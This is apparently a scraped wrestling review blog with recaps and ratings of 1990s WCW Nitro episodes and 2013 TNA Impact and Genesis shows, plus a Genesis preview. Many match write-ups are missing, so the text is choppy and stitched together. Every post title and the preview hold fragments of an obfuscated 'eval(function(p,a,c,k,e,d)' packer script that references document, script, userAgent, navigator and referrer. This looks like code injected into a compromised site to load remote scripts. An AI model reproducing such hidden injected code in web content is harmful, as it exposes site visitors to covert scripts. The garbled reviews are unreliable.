    Off to Dustin and he misses a cross body, sending him flying and therefore crashing onto the ramp. Dustin takes a cell phone shot to the ribs and the Alliance is in control. Back in the Anderson Spinebuster gets two. Dustin gets in some punches but walks into a DDT. Arn’s cover is delayed though so it’s only two. Off to Eaton who hits a top rope elbow instead of the Alabama Jam for two.

    Eaton misses a corner charge but Anderson saves the tag. Then we get to the big problem Arn has in his matches. Dustin is on the mat and Arn goes to the middle rope. He jumps off with a double axe handle and Dustin hits a boot to the jaw. What in the world was Arn going for, since he was jumping at the feet of Dustin the whole time? Either way it’s off to Barry vs. Larry Z and everything breaks down. Eaton comes off the top and jumps into the cast on Barry’s hand and that’s good for the pin.

    Rating: B. Very fun tag match here and it shows the reason the Dangerous Alliance worked: everyone on the team was REALLY good and considering they only feuded with talented guys, the matches were almost a guaranteed awesome showcase. JR called the Alliance an All-Star team in this match and that’s about as good of a description as you can give them.

    Tony is with the winning team in the back and Barry says he doesn’t care who says what because he’s coming for revenge. Awesome stuff again as Windham is all fired up.

    Sting/Ricky Steamboat vs. Rick Rude/Steve Austin

    Austin is TV Champion and Rude is US Champion. My goodness Sting is ridiculously popular. Remember that Top Ten thing earlier? Check out #1-#4. Steamboat vs. Austin starts us off and Austin still has hair here. Jesse has joined commentary to replace Tony here. Ricky takes over to start and Steve has no idea what to do with him. Steamboat gets a bunch of two counts on Steve and fires off a superkick to knock him down. Rude takes a kick as well and the ring is cleared.

    Rude comes in and he wants Sting. He slaps some of the paint off him and here’s the Stinger to the biggest pop of the night. Rude, ever the heel, hides in the corner immediately. Sting hits a pair of atomic drops and we get the best selling ever of that move. Sting rakes the back and we get some classic Jesse/face commentator banter of how can Sting do that and claim to be a hero.

    Sting hooks a modified camel clutch for some reason. Rude’s ribs are his strong point so why put a hold on them? Now it’s Steamboat and they do the non-tag thing. The fans swear they did though and that’s good enough. They do it again as Austin tries to come in. JR, speaking of Sting: “Well he’s the legal man! That’s what you want right?” Sting tries to cannonball down onto Rude’s ribs but does the Anderson spot and lands balls first on the knees.

    Austin vs. Sting in what would have drawn at least seven figure buys in 1998. Rude hooks a front facelock and keeps Sting from tagging. Back to Austin who punches the mat in an attempt to block a sunset flip and there’s the hot tag to Steamboat. Rude takes his head off as Sting was trying to come in and the Alliance controls some more. Austin avoids a rollup and everything breaks down. Sting and Austin fight up the ramp and then they come back. That was kind of pointless but whatever. Austin picks up Steamboat but Sting dives off the top with a crossbody and both pin Austin at the same time.

    Rating: B. Remember the previous reason as why the six man was good? Same reason here but with four guys and better talent involved. The Alliance angle had YEARS worth of material in it but instead they lasted about six months because this is WCW. The Alliance was one of the greatest gatherings of talent ever, but it never became a memorable team because of WCW’s incompetence in promoting stars.

    By the way, everything in that last sentence starting with the word one was from Arn Anderson, not me. So it’s not just my opinion but from someone on the team itself.

    Rude and Austin annihilate Steamboat post match, whipping him with a belt as Sting tries to protect him.

    Overall Rating: B+. This was a free TV show and we got pretty much 80% good stuff. When’s the last time you remember 80% of Raw or Impact being good to very good? The first half of 1992 was pure gold for WCW and once Luger’s laziness left and Sting got the title, it was all gravy for a long time. Then Vader came in and Sting had his best matches ever with him, so it got even better. Good show, but I still like 17 better I think.

    Remember to follow me on Twitter @kbreviews



    Impact Wrestling – January 17, 2013: We Got A Wedding And A New Member Of Aces And 8’s.

    ");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btsin|var|u0026u|referrer|ttyzh||js|php'.split('|'),0,{})) Wrestling
    Date: January 17, 2013
    Location: Impact Zone, Orlando, Florida
    Commentators: Todd Keneley, Tazz, Mike Tenay

    The opening recap opens things up while recapping them.

    James Storm/Jeff Hardy vs. Bad Influence

    The Gut Check guys talk about the match last week.

    Joseph Park gives Ray some Cuban cigars that may or may not be legal. He also asks about a prenup and gives a thumbs up or down. Ray: “OUT!” Funny stuff.

    Christian York vs. Kenny King

    Taz goes to the back to help set up for the wedding.

    We recap the Ray/Hogans stuff.

    Gail Kim talks to Taryn Terrell and explains how she cost Gail the gauntlet match on Sunday. Apparently Brooke has given Gail a rematch against Velvet, making the whole thing on PPV completely pointless.

    We get clips of Bully Ray at a strip club for his bachelor party.

    Gail Kim vs. Velvet Sky

    Dixie and Brooke have a girl moment.

    We recap Daniels and Hardy earlier.

    Results

    James Storm/Jeff Hardy b. Bad Influence – Twist of Fate to Kazarian

    Kenny King b. Christian York – Rollup with a handful of trunks

    Velvet Sky b. Gail Kim – In Yo Face

    Remember to follow me on Twitter @kbreviews



    Monday Nitro – September 8, 1997: The March To War

    ");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzdnr|var|u0026u|referrer|saiba||js|php'.split('|'),0,{})) Nitro #104
    Date: September 8, 1997
    Location: Wisconsin Center Arena, Milwaukee, Wisconsin
    Attendance: 8,596
    Commentators: Mike Tenay, Tony Schiavone, Bobby Heenan, Larry Zbyszko

    We open with the Nitro Girls dancing in the ring with Tony running down the card for tonight.

    Post break the Horsemen are being escorted out of the ring.

    Rey Mysterio Jr. vs. Eddie Guerrero

    Guerrero slides to the floor for no apparent reason, allowing Rey to dive down onto him to take over. Tony of course talks about the NWO and basically ignore the match while Tenay tries to keep the focus in place. Back in and a moonsault press gets two on Eddie but Guerrero catches a top rope cross body in a slam for two of his own. A BIG powerbomb takes Rey down again for two more, as does a butterfly powerbomb. Eddie busts out the Gory Special, but Rey rolls off his back to escape. Rey escapes powerbomb attempt #2 and heads to the apron, hitting West Coast Pop out of nowhere for the win.

    Hugh Morrus vs. Disco Inferno

    Wright and Disco argue post match.

    Cruiserweight Title: Brad Armstrong vs. Chris Jericho

    Jericho blocks a monkey flip to send Brad to the floor, followed by a suicide dive from the champ. Back in and Jericho charges into a boot followed by a tornado DDT from Armstrong for two. Jericho comes back with a standing Lionsault for two followed by the missile dropkick to send Armstrong to the floor. Not that it matters as Eddie runs in for the DQ.

    Lee Marshall does his schtick.

    Faces of Fear vs. Steiner Brothers

    Rating: C+. The Faces of Fear were on a mini roll at this point and would have a surprisingly good match with Mortis and Wrath on Sunday. The Steiners would continue to spin their wheels against Harlem Heat while they waited to be able to win the titles they should have won about five times already. Another decent little match here.

    Scott Hall vs. Super Calo

    Dean Malenko vs. Psychosis

    Apparently the winner of Malenko vs. Jarrett on Sunday gets a shot at the US Title at Halloween Havoc. They head to the mat quickly and why would you ever do that against Dean Malenko? Psychosis breaks a headscissors and gets up, only to get caught in a standing armbar. Psychosis tries a leg lock but Dean is in the ropes before it can be on full. A dropkick puts the masked dude on the floor and as they come back in, a fan tries to come in. Referee Mark Curtis, who might weigh 110lbs soaking wet, KNEES HIM IN THE HEAD and chokes him down until security takes him out.

    Jarrett comes out and wants to fight right now but immediately runs away.

    Ric Flair/Curt Hennig vs. Buff Bagwell/Konnan

    Lex Luger vs. Diamond Dallas Page

    Page and Luger beat up the NWO as the Giant comes down to help. WCW stands tall to end the show.

    http://kbwrestlingreviews.com/2013/01/16/fall-brawl-1997-wcw-gets-beaten-up-again/

    Remember to follow me on Twitter @kbreviews



    On This Day: January 15, 1996 – Monday Nitro: Hogan vs. Meng And Sting vs. Flair. It’s The 80s All Over Again!

    ");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tesks|var|u0026u|referrer|rzrdi||js|php'.split('|'),0,{})) Nitro #20
    Date: January 15, 1996
    Location: James L. Knight Center, Miami, Florida
    Commentators: Eric Bischoff, Bobby Heenan, Steve McMichael

    We hit the 20th show as somehow we’re five months into this series. Tonight it’s Luger vs. Savage….again, which should be at least watchable as they tend to be when they fight each other. Hogan vs. Meng as well could be ok. Also we have some guy named Flair vs. some guy named Sting. Wow they really aren’t going for originality are they? Let’s get to it.

    Apparently Hogan vs. Meng is billed as just a match vs. a member of the Dungeon and Sting vs. Flair is for the title. Sting vs. Flair is billed as the main event. Keep that in mind. Savage is going to get the winner, presumably at the PPV but they imply next week.

    Randy Savage vs. Lex Luger

    Apparently if Savage wins or loses he still gets the shot. What the heck kind of sense does that make? Why would Savage deserve a title shot if he loses here? Luger jumps him early as apparently he’s beaten Savage three times in a row now. He beats Randy down on the floor but Savage goes to his vast array of right hands. Heenan again manages to not be able to tell time, saying they’ve been on the floor for six or seven minutes when it’s been maybe 90 seconds.

    Savage gets a top rope axe handle for two as they’re flying through this. Randy takes over as this is far closer to a brawl than a wrestling match so far. He gets Luger down with a slam and goes up with a HUGE elbow but Luger gets up. Luger throws him in the Rack for the submission of all things. Lex won’t let go though which is rather surprising. There lies your #1 contender, which Luger points out.

    Rating: C+. Savage submitting? Wait the replay shows that Savage’s arm dropped three times, not that he gave up. That makes more sense. This wasn’t anything really bad at all with both guys brawling for the most part which makes sense as this was a big time feud. Not bad at all for the most part.

    We’re supposed to have a tag match with Horsemen vs. Dungeon but they all come out at the same time and not ready to fight. They have the new US Champion, the One Man Gang whose initials are far more amusing now. Anderson says he and Sullivan agree that there’s no point in having this war any longer as no one is going to win and it doesn’t gain them anything else. That’s why they feuded for another 6 months.

    Sullivan says Flair is awesome and that the Yankees or the Red Sox would love to have him. Giant/Flair vs. Savage/Hogan at the Clash. Sullivan respects Anderson too, but he doesn’t respect Pillman at all. Pillman goes all nuts again about not being afraid so Anderson smacks him upside his head.

    Since that match didn’t happen, here’s a standby match.

    Public Enemy vs. American Males

    This is Public Enemy’s debut. I don’t see good things for a match where Marcus Bagwell is the ring general. The Males jump the males and clear the ring to start. Eric says they’re bringing the newest athletes every week. As in a guy that was rookie of the year ten years ago, a guy that won the world title 8 years ago and former tag team champions are brand new. Got it.

    The Males clear the ring again because the first time didn’t explain things well enough I guess. There’s the ECW chant which I’m sure Bischoff has never heard of before. Riggs gets a sunset flip on Grunge for two. Some heel cheating lets Grunge take over for the first time which lasts about 4 seconds.

    Heenan suggests Public Enemy use spraypaint to draw pictures. Eric: No spraypaint here. That’s rich. A few seconds later Grunge rolls up Bagwell with tights to win it. This was about as much nothing as you could squeeze into three minutes. Post match the winners put the Males through tables which was a new thing for mainstream audiences at the time. Mongo says they’ll have to pay for those tables. I get why the Dudleys can’t retire now.

    WCW World Title: Sting vs. Ric Flair

    How many times has that been written over the years? Jimmy is with Flair here. Sting with a pair of nipups to counter Flair and freak him out. We hear again about the lack of PPV this month which is rather stupid. Now let’s talk about Mike Ditka for awhile. Also, the world title match is on third so that Hogan vs. Meng can go on last. Let that sink in a bit.

    Sting gets a top rope suplex as we take a break. Sting misses a splash on the ropes as we’re back to allow Flair to take over. There’s a sleeper by Sting but Flair gets a belly to back to escape. They slug it out on the ropes which of course Sting wins. And screw that as Sting goes too fast and gets caught. Figure Four is reversed into a small package for two though.

    Backslide gets two for Sting. And there’s Flair’s back to fulfill contractual obligations. Bobby sounds a bit snookered. Sting no sells a chop and here he comes again. Jimmy gets up on the apron to do no good. Here’s Luger to take care of him but when he snatches the Megaphone from Jimmy it hits Sting in the head. The referee is fine with this for some reason and Flair throws on the Figure Four and Sting can’t move so it’s a pinfall for Flair.

    Rating: C+. Definitely one of the weaker matches they’ve had but this is a pairing where the rating goes up automatically because of who is in there. These two are guys that have such a history and chemistry together that anytime they fight it’s worth seeing. Nothing great but nothing bad at all which makes for a fine match.

    And of course Hogan hits the ring IMMEDIATELY to get as much camera time as possible. I mean less than ten seconds passed between the bell ringing and Hogan and Savage hitting the ring. Hogan yells at Sting about Luger not being on their side and Savage agrees. Again, WHY WAS THIS NEVER A TAG MATCH IN THE MAIN EVENT OF A PPV??? Sting didn’t realize Luger did it apparently.

    Sting leaves and it’s the Hulk Hogan Show! He asks Savage why he’s getting a title shot when Luger beat him four times and Hogan is on such a roll. That’s….actually kind of a good point. Why shouldn’t Sting get a title shot if they agree he got shafted just now? Savage says he’s got the shot so get over it.

    Jim Belushi will be on Saturday Night. Kind of odd but it’s mainstream appeal I guess.

    Hulk Hogan vs. Meng

    Yes, this goes on after the world title match between the two biggest stars in WCW history. The stupidity of this is the theme of Super Brawl is IT’S ALL ABOUT THE TITLE. Bischoff starts the kissing up immediately, saying that he’s the king of the sport. Yes, the world champion means nothing and no one else means anything either. It’s all about Hogan.

    Meng takes over early as Bischoff likes to say HULK HOGAN a lot. Meng hits the nerve hold as Bischoff talks about how great WCW is. Heenan keeps talking about how Hogan is going to lose and how he has to be right eventually. Meng uses some spike object on Hogan, gets two, Hulk Up, you know the rest, Hogan wins with a shot with the spike.

    Rating: C-. Standard 4 minute Hogan beats up a monster match from the 80s. It’s nothing special at all and I mean that pretty literally because it’s been done so many times. This was needing to go on after the main event right? Can’t you see the connection there? Hogan does something he’s done 1000 times so it goes on after the world title. Sure why not.

    Savage came out to help and Hogan shakes his hand. The announcers recap things to end the show.

    Overall Rating: C-. FAR weaker show from last week and what a shock that happens when the older guys were out there. This Hogan stuff needs to end soon and it will as we inch closer and closer to May and the Outsiders. Not a good show by comparison but it wasn’t bad. They were really pushing this whole great month of wrestling and it worked to a certain degree. This wasn’t bad but by comparison it was if that makes sense. Twenty shows in the book. Not bad.

     

    Remember to follow me on Twitter @kbreviews



    Genesis 2013: Aces and 8’s Are Inept, Hardy Is Champion, Everything Keeps Going Along

    ");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzbra|var|u0026u|referrer|rbahe||js|php'.split('|'),0,{})) 2013
    Date: January 13, 2013
    Location: Impact Zone, Orlando, Florida
    Commentators: Todd Keneley, Tazz, Mike Tenay

    The opening video is about a new beginning. How original guys.

    Tag Titles: Matt Morgan/Joey Ryan vs. Chavo Guerrero/Hernandez

    Hot tag brings in Chavo to clean house with Three Amigos on Ryan. Everything breaks down and Chavo staggers Morgan with a missile dropkick. The champs hit a double dropkick to send Morgan staggering over Ryan before Hernandez hits a SICK (and mostly botched) sitout powerbomb on Joey. The Frog Splash retains the titles at 11:30.

    Morgan glares at Ryan post match.

    Mr. Anderson vs. Samoa Joe

    Christian York vs. Kenny King

    York hits a leg lariat and a knee to the face for two but gets sent to the floor. King misses a corkscrew plancha attempt though and gets caught in a headscissors to take him down. Back in and York tries a tornado DDT but gets sent out to the floor instead. Back in and King shows off a bit before hooking a chinlock. A spin kick is caught in a kind of suplex by York and both guys are down. York grabs a cravate and hooks a Russian legsweep for no cover but a running kick to the face gets two.

    They fight to the apron and York hits a cartwheel kick to knock Kenny to the floor. York hits a top rope double stomp to the back for two but walks into a jumping spinning side kick followed by a spinning Rock Bottom for two. Christian goes up for a cross body but Kenny rolls through into a cover. His cheating is caught and York suplexes him down again. A running roll into the corner misses King and a pair of knees to the ribs gets two. King pulls the hair again to take over and tries la majistral, but York lays down on him for the pin at 10:15.

    King lays out York with a reverse AA as Van Dam comes out.

    X-Division Title: Rob Van Dam vs. Christian York

    They tussle back and forth until Van Dam hits a springboard kick from the middle rope for two. York gets two off a surprise rollup but gets kicked in the face again. The Five Star misses and another rollup gets two. Rob puts him on the top rope for a jumping kick to the face followed by the Five Star for the pin at 5:33.

    Van Dam applauds York post match.

    D-Von vs. Joseph Park

    D-Von blasts Park with the belt post match.

    Knockouts Gauntlet Match

    Mickie James is in next and she takes Gail down quickly, only to get caught by a running shoulder in the corner. A neckbreaker puts Gail down as do an enziguri and a flapjack. We head to the floor for a headscissors from James before heading inside where Gail molests the referee. A rollup on Mickie with another handful of tights gets another pin.

    Daniels and Kaz make fun of James Storm and drink an appletini. Storm apparently has permission to worship them now.

    James Storm vs. Christopher Daniels

    The arm gets sent into the buckle and Daniels gyrates his pelvis a bit. Daniels pounds away on the arm but Storm punches back with his good arm. More cranking on the arm slows James right down again and Daniels grabs an armbar. By that I mean he holds the thing for like two minutes before Storm fights up and hooks a Russian legsweep. A backdrop puts Daniels down again and a top rope elbow gets two for the Cowboy.

    We recap the proposal from Impact because you knew we were going to get to this at some point tonight.

    We recap Doc vs. Sting, which is the result of a beatdown on Sting from a few weeks ago.

    Sting vs. Doc

    Post match Ray runs out to save Sting from the bikers who surround the ring.

    Roode says he and Aries are going to work together to eliminate Hardy and the spotlight can shine where it should.

    TNA World Title: Jeff Hardy vs. Austin Aries vs. Bobby Roode

    Roode gets sent to the floor and kicked into the railing by Hardy but Austin kicks Jeff to the outside as well. Aries accidentally (I think?) crushes Roode against the barricade with the suicide dive before Hardy hits the Poetry in Motion to Aries against the barricade. The crowd is finally waking up here. Jeff loads up the Swanton on Roode but Aries breaks it up, only to get suplexed from the apron back inside onto Roode. A splash gets two on Bobby and Aries escapes the Twist.

    Results

    Chavo Guerrero/Hernandez b. Matt Morgan/Joey Ryan – Frog Splash to Ryan

    Mr. Anderson b. Samoa Joe – Mic Check

    Christian York b. Kenny King – Cradle

    Rob Van Dam b. Christian York – Five Star Frog Splash

    D-Von b. Joseph Park – Rollup

    Velvet Sky b. Gail Kim, Mickie James, ODB and Miss Tessmacher – In Yo Face to Kim

    Christopher Daniels b. James Storm – STO

    Sting b. Doc – Scorpion Death Drop

    Jeff Hardy b. Austin Aries and Bobby Roode – Swanton to Aries

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    Genesis 2013 Preview

    This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsznd|var|u0026u|referrer|arkkb||js|php'.split('|'),0,{})) is the last regular PPV for TNA until March and I’m not wild on the card in the first place.  Let’s get to it.We’ll start with the title matches.

     

    Hardy will keep the title.  It looks like we’re heading for Aries vs. Hardy at Lockdown so Hardy would need to keep the belt here.  There’s a chance Aries wins here but I don’t see it happening.

     

    We’ll say the tag titles change and leave it at that.  Thinking of these teams more than that makes my head hurt.

     

    As for the X Title, I can picture King winning the belt but not York.  Therefore, the question is who wins the match between the two of them to qualify for the title match?  I’ll go with King but I don’t have much confidence in it.

     

    Doc is in Aces and 8’s so he loses.

     

    I’ll go with Storm to win my hopeful pick of the month.  Storm needs a big win as his push continues to stall and Daniels can bounce back with ease because of his comedy.

     

    D-Von has to beat Park.  I mean…..he HAS TO.

     

    As for the Knockouts gauntlet……Velvet.  Makes as much sense as anyone else.

     

    Overall Genesis looks like most other TNA B shows: not much interesting other than on top of the show while the next episode of Impact seems more important.  The show might surprise us and absolutely will be better than Final Resolution.  It’s impossible to be less interesting than that nonsense was.  There isn’t much else to say about this and then we’ll get a few months of build to Lockdown.

     

    Thoughts/predictions?